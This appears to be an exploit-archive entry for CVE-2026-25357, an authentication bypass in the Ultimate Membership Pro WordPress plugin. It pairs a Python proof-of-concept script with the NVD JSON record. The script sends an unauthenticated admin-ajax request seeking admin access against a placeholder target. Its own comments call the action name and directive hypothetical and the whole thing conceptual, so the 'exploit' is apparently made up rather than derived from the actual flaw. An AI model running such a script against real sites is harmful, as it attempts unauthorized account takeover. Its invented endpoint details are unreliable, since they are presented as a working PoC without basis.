CVE-2026-25357

# Exploit Title: Ultimate Membership Pro < 13.7 - Authentication Bypass PoC # Date: 2026-03-25 # Vendor: azzaroco import requests def check_vulnerability(target_url): """ Checks if the target is vulnerable to Auth Bypass via alternate path. """ # The vulnerable endpoint might be an AJAX action or a specific route # This is a conceptual PoC based on the vulnerability description. endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to perform an admin action without auth cookies data = { "action": "ump_bypass_action", # Hypothetical vulnerable action "directive": "grant_admin_access" } try: # Sending request without authentication headers/cookies response = requests.post(endpoint, data=data, timeout=10) # Analyzing response to check if access was granted if response.status_code == 200 and "success" in response.text.lower(): print("[+] Target appears to be vulnerable to CVE-2026-25357.") print(f"[+] Response: {response.text[:200]}") return True else: print("[-] Target does not appear vulnerable or is patched.") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-25357", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:46.743", "lastModified": "2026-04-28T02:16:05.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in azzaroco Ultimate Membership Pro indeed-membership-pro allows Authentication Abuse.This issue affects Ultimate Membership Pro: from n/a through <= 13.7."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación Usando una Ruta o Canal Alternativo en azzaroco Ultimate Membership Pro indeed-membership-pro permite Abuso de Autenticación. Este problema afecta a Ultimate Membership Pro: desde n/a hasta &lt;= 13.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/indeed-membership-pro/vulnerability/wordpress-ultimate-membership-pro-plugin-13-7-account-takeover-vulnerability?_s_id=cve", "source": "[email protected]"}]}}